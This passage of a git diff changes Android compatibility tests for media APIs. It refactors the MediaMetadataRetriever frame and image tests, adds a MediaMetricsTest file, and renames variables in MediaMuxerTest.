+ int[] resIds = {R.raw.video_h264_mpeg4_rotate_0, R.raw.video_h264_mpeg4_rotate_90,
+ R.raw.video_h264_mpeg4_rotate_180, R.raw.video_h264_mpeg4_rotate_270};
+ int[] targetRotations = {0, 90, 180, 270};
+ for (int i = 0; i < resIds.length; i++) {
+ testThumbnailWithRotation(resIds[i], targetRotations[i]);
+ }
+ }
/**
* The following tests verifies MediaMetadataRetriever.getFrameAtTime behavior.
@@ -365,10 +623,15 @@
}
private void testGetFrameAtTimeEditList(int option, int[][] testCases) {
+ MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
+ params.setPreferredConfig(Bitmap.Config.ARGB_8888);
+
testGetFrameAtEditList(testCases, (r) -> {
List<Bitmap> bitmaps = new ArrayList<>();
for (int i = 0; i < testCases.length; i++) {
- bitmaps.add(r.getFrameAtTime(testCases[i][0], option));
+ Bitmap bitmap = r.getFrameAtTime(testCases[i][0], option, params);
+ assertEquals(Bitmap.Config.ARGB_8888, params.getActualConfig());
+ bitmaps.add(bitmap);
}
return bitmaps;
});
@@ -422,56 +685,30 @@
private void testGetFrameAt(int[][] testCases,
Function<MediaMetadataRetriever, List<Bitmap> > bitmapRetriever) {
- int resId = R.raw.binary_counter_320x240_30fps_600frames;
- if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
- && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
- MediaUtils.skipTest("no video codecs for resource on watch");
- return;
- }
-
- MediaMetadataRetriever retriever = new MediaMetadataRetriever();
- Resources resources = getContext().getResources();
- AssetFileDescriptor afd = resources.openRawResourceFd(resId);
-
- retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
- try {
- afd.close();
- } catch (IOException e) {
- fail("Unable to close file");
- }
-
- List<Bitmap> bitmaps = bitmapRetriever.apply(retriever);
-
- for (int i = 0; i < testCases.length; i++) {
- verifyVideoFrame(bitmaps.get(i), testCases[i]);
- }
- retriever.release();
+ testGetFrameAt(R.raw.binary_counter_320x240_30fps_600frames,
+ testCases, bitmapRetriever);
}
private void testGetFrameAtEditList(int[][] testCases,
Function<MediaMetadataRetriever, List<Bitmap> > bitmapRetriever) {
- int resId = R.raw.binary_counter_320x240_30fps_600frames_editlist;
+ testGetFrameAt(R.raw.binary_counter_320x240_30fps_600frames_editlist,
+ testCases, bitmapRetriever);
+ }
+
+ private void testGetFrameAt(int resId, int[][] testCases,
+ Function<MediaMetadataRetriever, List<Bitmap> > bitmapRetriever) {
if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
&& mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
MediaUtils.skipTest("no video codecs for resource on watch");
return;
}
- MediaMetadataRetriever retriever = new MediaMetadataRetriever();
- Resources resources = getContext().getResources();
- AssetFileDescriptor afd = resources.openRawResourceFd(resId);
- retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
- try {
- afd.close();
- } catch (IOException e) {
- fail("Unable to close file");
- }
+ setDataSourceFd(resId);
- List<Bitmap> bitmaps = bitmapRetriever.apply(retriever);
+ List<Bitmap> bitmaps = bitmapRetriever.apply(mRetriever);
for (int i = 0; i < testCases.length; i++) {
verifyVideoFrame(bitmaps.get(i), testCases[i]);
}
- retriever.release();
}
private void verifyVideoFrame(Bitmap bitmap, int[] testCase) {
@@ -488,9 +725,91 @@
}
}
+ private void verifyVideoFrameRotation(Bitmap bitmap, int targetRotation) {
+ try {
+ assertTrue("Failed to get bitmap for " + targetRotation + " degrees", bitmap != null);
+ assertTrue("Frame incorrect for " + targetRotation + " degrees",
+ CodecUtils.VerifyFrameRotationFromBitmap(bitmap, targetRotation));
+
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_rotation_" + targetRotation + ".jpg");
+ }
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+ }
+
/**
* The following tests verifies MediaMetadataRetriever.getScaledFrameAtTime behavior.
*/
+ public void testGetScaledFrameAtTimeWithInvalidResolutions() {
+ int[] resIds = {R.raw.binary_counter_320x240_30fps_600frames,
+ R.raw.binary_counter_320x240_30fps_600frames_editlist,
+ R.raw.bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz,
+ R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz,
+ R.raw.video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz,
+ R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz,
+ R.raw.bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz,
+ R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz,
+ R.raw.video_1280x720_vp9_hdr_static_3mbps,
+ R.raw.video_1280x720_av1_hdr_static_3mbps,
+ R.raw.video_1280x720_hevc_hdr10_static_3mbps};
+ int[][] resolutions = {{0, 120}, {-1, 0}, {-1, 120}, {140, -1}, {-1, -1}};
+ int[] options =
+ {OPTION_CLOSEST, OPTION_CLOSEST_SYNC, OPTION_NEXT_SYNC, OPTION_PREVIOUS_SYNC};
+
+ for (int resId : resIds) {
+ if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
+ && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ MediaUtils.skipTest("no video codecs for resource on watch");
+ continue;
+ }
+
+ setDataSourceFd(resId);
+
+ for (int i = 0; i < resolutions.length; i++) {
+ int width = resolutions[i][0];
+ int height = resolutions[i][1];
+ for (int option : options) {
+ try {
+ Bitmap bitmap = mRetriever.getScaledFrameAtTime(
+ 2066666 /*timeUs*/, option, width, height);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+ }
+ }
+ }
+ }
+
+ private void testGetScaledFrameAtTime(int scaleToWidth, int scaleToHeight,
+ int expectedWidth, int expectedHeight, Bitmap.Config config) {
+ MediaMetadataRetriever.BitmapParams params = null;
+ Bitmap bitmap = null;
+ if (config != null) {
+ params = new MediaMetadataRetriever.BitmapParams();
+ params.setPreferredConfig(config);
+ bitmap = mRetriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, scaleToWidth, scaleToHeight, params);
+ } else {
+ bitmap = mRetriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, scaleToWidth, scaleToHeight);
+ }
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, String.format("test_%dx%d.jpg",
+ expectedWidth, expectedHeight));
+ }
+ if (config != null) {
+ assertEquals("Actual config is wrong", config, params.getActualConfig());
+ }
+ assertEquals("Bitmap width is wrong", expectedWidth, bitmap.getWidth());
+ assertEquals("Bitmap height is wrong", expectedHeight, bitmap.getHeight());
+ }
+
public void testGetScaledFrameAtTime() {
int resId = R.raw.binary_counter_320x240_30fps_600frames;
if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
@@ -499,175 +818,26 @@
return;
}
- MediaMetadataRetriever retriever = new MediaMetadataRetriever();
- Resources resources = getContext().getResources();
- AssetFileDescriptor afd = resources.openRawResourceFd(resId);
-
- retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
- try {
- afd.close();
- } catch (IOException e) {
- fail("Unable to close file");
- }
-
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs*/ , OPTION_CLOSEST, 0 /*width*/, 120 /*height*/);
- fail("Failed to receive exception");
- } catch (IllegalArgumentException e) {
- // Expect exception
- }
-
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 0 /*height*/);
- fail("Failed to receive exception");
- } catch (IllegalArgumentException e) {
- // Expect exception
- }
-
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 120 /*height*/);
- fail("Failed to receive exception");
- } catch (IllegalArgumentException e) {
- // Expect exception
- }
-
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs */, OPTION_CLOSEST, 140 /*width*/, -1 /*height*/);
- fail("Failed to receive exception");
- } catch (IllegalArgumentException e) {
- // Expect exception
- }
-
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs */, OPTION_CLOSEST, -1 /*width*/, -1 /*height*/);
- fail("Failed to receive exception");
- } catch (IllegalArgumentException e) {
- // Expect exception
- }
+ setDataSourceFd(resId);
+ MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
// Test desided size of 160 x 120. Return should be 160 x 120
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 120 /*height*/);
- if (bitmap == null) {
- fail("Failed to get scaled bitmap");
- }
- if (SAVE_BITMAP_OUTPUT) {
- CodecUtils.saveBitmapToFile(bitmap, "test_160x120" + ".jpg");
- }
-
- if (bitmap.getWidth() != 160 /* width */) {
- fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
- }
- if (bitmap.getHeight() != 120 /* height */) {
- fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
- }
-
- } catch (Exception e) {
- fail("Exception getting bitmap: " + e);
- }
+ testGetScaledFrameAtTime(160, 120, 160, 120, Bitmap.Config.ARGB_8888);
// Test scaled up bitmap to 640 x 480. Return should be 640 x 480
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs */, OPTION_CLOSEST, 640 /*width*/, 480 /*height*/);
- if (bitmap == null) {
- fail("Failed to get scaled bitmap");
- }
- if (SAVE_BITMAP_OUTPUT) {
- CodecUtils.saveBitmapToFile(bitmap, "test_640x480" + ".jpg");
- }
-
- if (bitmap.getWidth() != 640 /* width */) {
- fail("Bitmap width is " + bitmap.getWidth() + "Expect: 640");
- }
- if (bitmap.getHeight() != 480 /* height */) {
- fail("Bitmap height is " + bitmap.getHeight() + "Expect: 480");
- }
-
- } catch (Exception e) {
- fail("Exception getting bitmap: " + e);
- }
+ testGetScaledFrameAtTime(640, 480, 640, 480, Bitmap.Config.ARGB_8888);
// Test scaled up bitmap to 320 x 120. Return should be 160 x 120
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs */, OPTION_CLOSEST, 320 /*width*/, 120 /*height*/);
- if (bitmap == null) {
- fail("Failed to get scaled bitmap");
- }
- if (SAVE_BITMAP_OUTPUT) {
- CodecUtils.saveBitmapToFile(bitmap, "test_320x120" + ".jpg");
- }
-
- if (bitmap.getWidth() != 160 /* width */) {
- fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
- }
- if (bitmap.getHeight() != 120 /* height */) {
- fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
- }
-
- } catch (Exception e) {
- fail("Exception getting bitmap: " + e);
- }
+ testGetScaledFrameAtTime(320, 120, 160, 120, Bitmap.Config.RGB_565);
// Test scaled up bitmap to 160 x 240. Return should be 160 x 120
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 240 /*height*/);
- if (bitmap == null) {
- fail("Failed to get scaled bitmap");
- }
- if (SAVE_BITMAP_OUTPUT) {
- CodecUtils.saveBitmapToFile(bitmap, "test_160x240" + ".jpg");
- }
-
- if (bitmap.getWidth() != 160 /* width */) {
- fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
- }
- if (bitmap.getHeight() != 120 /* height */) {
- fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
- }
-
- } catch (Exception e) {
- fail("Exception getting bitmap: " + e);
- }
+ testGetScaledFrameAtTime(160, 240, 160, 120, Bitmap.Config.RGB_565);
// Test scaled the video with aspect ratio
resId = R.raw.binary_counter_320x240_720x240_30fps_600frames;
- afd = resources.openRawResourceFd(resId);
+ setDataSourceFd(resId);
- retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
- try {
- afd.close();
- } catch (IOException e) {
- fail("Unable to close file");
- }
- try {
- Bitmap bitmap = retriever.getScaledFrameAtTime(
- 2066666 /*timeUs */, OPTION_CLOSEST, 330 /*width*/, 240 /*height*/);
- if (bitmap == null) {
- fail("Failed to get scaled bitmap");
- }
- if (SAVE_BITMAP_OUTPUT) {
- CodecUtils.saveBitmapToFile(bitmap, "test_330x240" + ".jpg");
- }
-
- if (bitmap.getWidth() != 330 /* width */) {
- fail("Bitmap width is " + bitmap.getWidth() + "Expect: 330");
- }
- if (bitmap.getHeight() != 110 /* height */) {
- fail("Bitmap height is " + bitmap.getHeight() + "Expect: 110");
- }
-
- } catch (Exception e) {
- fail("Exception getting bitmap: " + e);
- }
+ testGetScaledFrameAtTime(330, 240, 330, 110, null);
}
public void testGetImageAtIndex() throws Exception {
@@ -701,37 +871,32 @@
int resId, int width, int height, int rotation,
int imageCount, int primary, boolean useGrid, boolean checkColor)
throws Exception {
- MediaMetadataRetriever retriever = null;
+ Stopwatch timer = new Stopwatch();
MediaExtractor extractor = null;
AssetFileDescriptor afd = null;
InputStream inputStream = null;
try {
- retriever = new MediaMetadataRetriever();
-
- Resources resources = getContext().getResources();
- afd = resources.openRawResourceFd(resId);
-
- retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ setDataSourceFd(resId);
// Verify image related meta keys.
- String hasImage = retriever.extractMetadata(
+ String hasImage = mRetriever.extractMetadata(
MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
assertTrue("No images found in resId " + resId, "yes".equals(hasImage));
assertEquals("Wrong width", width,
- Integer.parseInt(retriever.extractMetadata(
+ Integer.parseInt(mRetriever.extractMetadata(
MediaMetadataRetriever.METADATA_KEY_IMAGE_WIDTH)));
assertEquals("Wrong height", height,
- Integer.parseInt(retriever.extractMetadata(
+ Integer.parseInt(mRetriever.extractMetadata(
MediaMetadataRetriever.METADATA_KEY_IMAGE_HEIGHT)));
assertEquals("Wrong rotation", rotation,
- Integer.parseInt(retriever.extractMetadata(
+ Integer.parseInt(mRetriever.extractMetadata(
MediaMetadataRetriever.METADATA_KEY_IMAGE_ROTATION)));
assertEquals("Wrong image count", imageCount,
- Integer.parseInt(retriever.extractMetadata(
+ Integer.parseInt(mRetriever.extractMetadata(
MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
assertEquals("Wrong primary index", primary,
- Integer.parseInt(retriever.extractMetadata(
+ Integer.parseInt(mRetriever.extractMetadata(
MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
if (checkColor) {
@@ -740,7 +905,10 @@
// Also check the position of the color block, which should move left-to-right
// with the index.
for (int imageIndex = 0; imageIndex < imageCount; imageIndex++) {
- bitmap = retriever.getImageAtIndex(imageIndex);
+ timer.start();
+ bitmap = mRetriever.getImageAtIndex(imageIndex);
+ timer.end();
+ timer.printDuration("getImageAtIndex");
for (int barIndex = 0; barIndex < COLOR_BARS.length; barIndex++) {
Rect r = getColorBarRect(barIndex, width, height);
@@ -759,7 +927,12 @@
// Check the color block position on the primary image.
Rect r = getColorBlockRect(primary, width, height);
- bitmap = retriever.getPrimaryImage();
+
+ timer.start();
+ bitmap = mRetriever.getPrimaryImage();
+ timer.end();
+ timer.printDuration("getPrimaryImage");
+
assertTrue("Color block for primary image doesn't match",
approxEquals(COLOR_BLOCK, Color.valueOf(
bitmap.getPixel(r.centerX(), height - r.centerY()))));
@@ -778,6 +951,8 @@
// Check the grid configuration related keys.
if (useGrid) {
extractor = new MediaExtractor();
+ Resources resources = getContext().getResources();
+ afd = resources.openRawResourceFd(resId);
extractor.setDataSource(
afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
MediaFormat format = extractor.getTrackFormat(0);
@@ -793,9 +968,6 @@
} catch (IOException e) {
fail("Unable to open file");
} finally {
- if (retriever != null) {
- retriever.release();
- }
if (extractor != null) {
extractor.release();
}
@@ -807,4 +979,51 @@
}
}
}
+
+ private void recordMedia(File outputFile) throws Exception {
+ MediaRecorder mr = new MediaRecorder();
+ try {
+ mr.setAudioSource(MediaRecorder.AudioSource.MIC);
+ mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+ mr.setOutputFile(outputFile.getAbsolutePath());
+
+ mr.prepare();
+ mr.start();
+ Thread.sleep(SLEEP_TIME);
+ mr.stop();
+ } finally {
+ mr.release();
+ }
+ }
+
+ private class Stopwatch {
+ private long startTimeMs;
+ private long endTimeMs;
+ private boolean isStartCalled;
+
+ public Stopwatch() {
+ startTimeMs = endTimeMs = 0;
+ isStartCalled = false;
+ }
+
+ public void start() {
+ startTimeMs = System.currentTimeMillis();
+ isStartCalled = true;
+ }
+
+ public void end() {
+ endTimeMs = System.currentTimeMillis();
+ if (!isStartCalled) {
+ Log.e(TAG, "Error: end() must be called after start()!");
+ return;
+ }
+ isStartCalled = false;
+ }
+
+ public void printDuration(String functionName) {
+ long duration = endTimeMs - startTimeMs;
+ Log.i(TAG, String.format("%s() took %d ms.", functionName, duration));
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetricsTest.java b/tests/tests/media/src/android/media/cts/MediaMetricsTest.java
new file mode 100644
index 0000000..7898b2d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetricsTest.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.media.MediaMetrics;
+import android.os.Bundle;
+import android.os.Process;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for MediaMetrics item handling.
+ */
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class MediaMetricsTest {
+
+ /**
+ * This tests MediaMetrics item creation.
+ */
+ @Test
+ public void testBasicItem() {
+ final String key = "Key";
+ final MediaMetrics.Item item = new MediaMetrics.Item(key);
+
+ item.putInt("int", (int) 1)
+ .putLong("long", (long) 2)
+ .putString("string", "ABCD")
+ .putDouble("double", (double) 3.1);
+
+ // Verify what is in the item by converting to a bundle.
+ // This uses special MediaMetrics.Item APIs for CTS test.
+ // The BUNDLE_* string keys represent internal Item data to be verified.
+ final Bundle bundle = item.toBundle();
+
+ assertEquals(1, bundle.getInt("int"));
+ assertEquals(2, bundle.getLong("long"));
+ assertEquals("ABCD", bundle.getString("string"));
+ assertEquals(3.1, bundle.getDouble("double"), 1e-6 /* delta */);
+
+ assertEquals("Key", bundle.getString(MediaMetrics.Item.BUNDLE_KEY));
+ assertEquals(-1, bundle.getInt(MediaMetrics.Item.BUNDLE_PID)); // default PID
+ assertEquals(-1, bundle.getInt(MediaMetrics.Item.BUNDLE_UID)); // default UID
+ assertEquals(0, bundle.getChar(MediaMetrics.Item.BUNDLE_VERSION));
+ assertEquals(key.length() + 1, bundle.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
+ assertEquals(0, bundle.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP)); // default Time
+ assertEquals(4, bundle.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
+ }
+
+ /**
+ * This tests MediaMetrics item buffer expansion when the initial buffer capacity is set to 1.
+ */
+ @Test
+ public void testBigItem() {
+ final String key = "Key";
+ final int intKeyCount = 10000;
+ final MediaMetrics.Item item = new MediaMetrics.Item(
+ key, 1 /* pid */, 2 /* uid */, 3 /* time */, 1 /* capacity */);
+
+ item.putInt("int", (int) 1)
+ .putLong("long", (long) 2)
+ .putString("string", "ABCD")
+ .putDouble("double", (double) 3.1);
+
+ // Putting 10000 int properties forces the item to reallocate the buffer several times.
+ for (Integer i = 0; i < intKeyCount; ++i) {
+ item.putInt(i.toString(), i);
+ }
+
+ // Verify what is in the item by converting to a bundle.
+ // This uses special MediaMetrics.Item APIs for CTS test.
+ // The BUNDLE_* string keys represent internal Item data to be verified.
+ final Bundle bundle = item.toBundle();
+
+ assertEquals(1, bundle.getInt("int"));
+ assertEquals(2, bundle.getLong("long"));
+ assertEquals("ABCD", bundle.getString("string"));
+ assertEquals(3.1, bundle.getDouble("double"), 1e-6 /* delta */);
+
+ assertEquals(key, bundle.getString(MediaMetrics.Item.BUNDLE_KEY));
+ assertEquals(1, bundle.getInt(MediaMetrics.Item.BUNDLE_PID));
+ assertEquals(2, bundle.getInt(MediaMetrics.Item.BUNDLE_UID));
+ assertEquals(0, bundle.getChar(MediaMetrics.Item.BUNDLE_VERSION));
+ assertEquals(key.length() + 1, bundle.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
+ assertEquals(3, bundle.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP));
+
+ for (Integer i = 0; i < intKeyCount; ++i) {
+ assertEquals((int) i, bundle.getInt(i.toString()));
+ }
+
+ assertEquals(intKeyCount + 4, bundle.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
+
+ item.clear(); // removes properties.
+ item.putInt("value", (int) 100);
+
+ final Bundle bundle2 = item.toBundle();
+
+ assertEquals(key, bundle2.getString(MediaMetrics.Item.BUNDLE_KEY));
+ assertEquals(1, bundle2.getInt(MediaMetrics.Item.BUNDLE_PID));
+ assertEquals(2, bundle2.getInt(MediaMetrics.Item.BUNDLE_UID));
+ assertEquals(0, bundle2.getChar(MediaMetrics.Item.BUNDLE_VERSION));
+ assertEquals(key.length() + 1, bundle2.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
+ assertEquals(0, bundle2.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP)); // time is reset.
+
+ for (Integer i = 0; i < intKeyCount; ++i) {
+ assertEquals(-1, bundle2.getInt(i.toString(), -1));
+ }
+ assertEquals(100, bundle2.getInt("value"));
+ assertEquals(1, bundle2.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
+
+ // Now override pid, uid, and time.
+ item.setPid(10)
+ .setUid(11)
+ .setTimestamp(12);
+ final Bundle bundle3 = item.toBundle();
+ assertEquals(10, bundle3.getInt(MediaMetrics.Item.BUNDLE_PID));
+ assertEquals(11, bundle3.getInt(MediaMetrics.Item.BUNDLE_UID));
+ assertEquals(12, bundle3.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP));
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index c873691..858adb1 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -64,30 +64,30 @@
*/
public void testVideoAudio() throws Exception {
int source = R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz;
- String outputFile = File.createTempFile("MediaMuxerTest_testAudioVideo", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideo", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
public void testDualVideoTrack() throws Exception {
int source = R.raw.video_176x144_h264_408kbps_30fps_352x288_h264_122kbps_30fps;
- String outputFile = File.createTempFile("MediaMuxerTest_testDualVideo", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testDualVideo", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
public void testDualAudioTrack() throws Exception {
int source = R.raw.audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz;
- String outputFile = File.createTempFile("MediaMuxerTest_testDualAudio", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testDualAudio", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
public void testDualVideoAndAudioTrack() throws Exception {
int source = R.raw.video_h264_30fps_video_h264_30fps_aac_44100hz_aac_44100hz;
- String outputFile = File.createTempFile("MediaMuxerTest_testDualVideoAudio", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testDualVideoAudio", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 4, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 4, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
/**
@@ -101,9 +101,9 @@
public void testVideoAudioMedatadataWithNonCompliantMetadataTrack() throws Exception {
int source =
R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_non_compliant;
- String outputFile = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
/**
@@ -117,9 +117,9 @@
public void testVideoAudioMedatadataWithCompliantMetadataTrack() throws Exception {
int source =
R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_compliant;
- String outputFile = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
/**
@@ -127,9 +127,9 @@
*/
public void testAudioOnly() throws Exception {
int source = R.raw.sinesweepm4a;
- String outputFile = File.createTempFile("MediaMuxerTest_testAudioOnly", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioOnly", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 1, -1, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 1, -1, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
/**
@@ -137,23 +137,23 @@
*/
public void testVideoOnly() throws Exception {
int source = R.raw.video_only_176x144_3gp_h263_25fps;
- String outputFile = File.createTempFile("MediaMuxerTest_videoOnly", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_videoOnly", ".mp4")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 1, 180, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+ cloneAndVerify(source, outputFilePath, 1, 180, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
}
public void testWebmOutput() throws Exception {
int source = R.raw.video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz;
- String outputFile = File.createTempFile("testWebmOutput", ".webm")
+ String outputFilePath = File.createTempFile("testWebmOutput", ".webm")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
}
public void testThreegppOutput() throws Exception {
int source = R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz;
- String outputFile = File.createTempFile("testThreegppOutput", ".3gp")
+ String outputFilePath = File.createTempFile("testThreegppOutput", ".3gp")
.getAbsolutePath();
- cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
+ cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
}
/**
@@ -166,12 +166,12 @@
* <br> Throws exception b/c a wrong format.
*/
public void testIllegalStateExceptions() throws IOException {
- String outputFile = File.createTempFile("MediaMuxerTest_testISEs", ".mp4")
+ String outputFilePath = File.createTempFile("MediaMuxerTest_testISEs", ".mp4")
.getAbsolutePath();
MediaMuxer muxer;
// Throws exception b/c start() is not called.
- muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
